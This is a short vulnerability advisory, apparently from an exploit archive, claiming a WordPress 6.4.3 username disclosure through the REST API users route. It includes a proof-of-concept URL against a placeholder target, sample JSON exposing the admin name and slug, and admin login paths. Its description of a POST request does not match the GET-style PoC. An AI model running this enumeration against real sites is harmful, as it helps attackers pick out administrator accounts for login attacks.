# Title: wordpress 6.4.3 - Username Disclosure
# Author: h4shur
# date:2024-02-21
# Vendor Homepage: https://www.wordpress.org
# Software Link: https://www.wordpress.org/download
# Version:  6.4.3 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs
### Description :
the REST API allows simulating different request types. As such, we can
perform a POST request with the “users” string in the body of the request,
and tell the REST API to act like it’s received a GET request.
You can see the management username in the "slug" feature. And even
security plugins like "iThemes Security" do not block this path.
### POC :
https://target.com/wp-json/?rest_route=/wp/v2/users/
# output :
[{"id":1,"name":"admin","url":"https:\/\/target.com
","description":"","link":"https:\/\/target.com
\/?author=1","slug":"admin_1l","avatar_urls":{"24":"https:\/\/
secure.gravatar.com
\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https:\/\/
secure.gravatar.com
\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https:\/\/
secure.gravatar.com
\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/
target.com
\/index.php?rest_route=\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/
target.com\/index.php?rest_route=\/wp\/v2\/users"}]}}]
### Admin Panel :
https://target.com/wp-admin
https://target.com/login.php
### contact :
[email protected]
twitter.com/h4shur
instagram.com/h4shur
t.me/h4shur